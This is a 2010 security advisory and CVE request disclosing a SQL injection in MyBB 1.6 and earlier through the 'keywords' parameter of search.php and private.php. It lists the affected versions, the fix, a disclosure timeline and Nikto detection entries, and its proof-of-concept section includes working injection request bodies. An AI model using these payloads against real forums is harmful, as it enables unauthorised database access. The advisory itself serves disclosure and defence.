CVE Request: MyBB 1.6 <= SQL Injection

[YGN Ethical Hacker Group <lists () yehg net>]

1. OVERVIEW

Potential SQL Injection vulnerability was detected in MyBB.


2. APPLICATION DESCRIPTION

MyBB is a free bulletin board system software package developed by the
MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.


3. VULNERABILITY DESCRIPTION

The "keywords" parameter was not properly sanitized in /private.php
and /search.php which leads to SQL Injection vulnerability. Full
exploitation  possibility is probably mitigated by clean_keywords and
clean_keywords_ft functions in inc/functions_search.php.


4. VERSIONS AFFECTED

MyBB 1.6 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

=> /search.php

POST /mybb/search.php

action=do_search&forums=2&keywords='+or+'a'+'a&postthread=1


=> /private.php

POST /mybb/private.php

my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff


Get nikto check
http://trac2.assembla.com/Nikto_2/browser/trunk/plugins/db_tests?rev=588

Or try nikto udb_tests

"400000","0","9","/search.php","POST","MyBB has experienced an
internal SQL error and cannot continue.","","","Sorry, but no results
were returned","","MyBB 1.6 <= SQL Injection,  ref:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_sql_injection","action=do_search&forums=2&keywords='+or+'a'+'a&postthread=1","";

"400001","0","9","/private.php","POST","MyBB has experienced an
internal SQL error and cannot continue.","","","Sorry, but no results
were returned","","MyBBx 1.6 <= SQL Injection,  ref:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_sql_injection","my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff","";


6. SOLUTION

Upgrade to 1.6.1


7. VENDOR

MyBB Development Team
http://www.mybb.com/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-24: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_sql_injection
About MyBB: http://www.mybb.com/about/mybb


#yehg [2010-12-24]


---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
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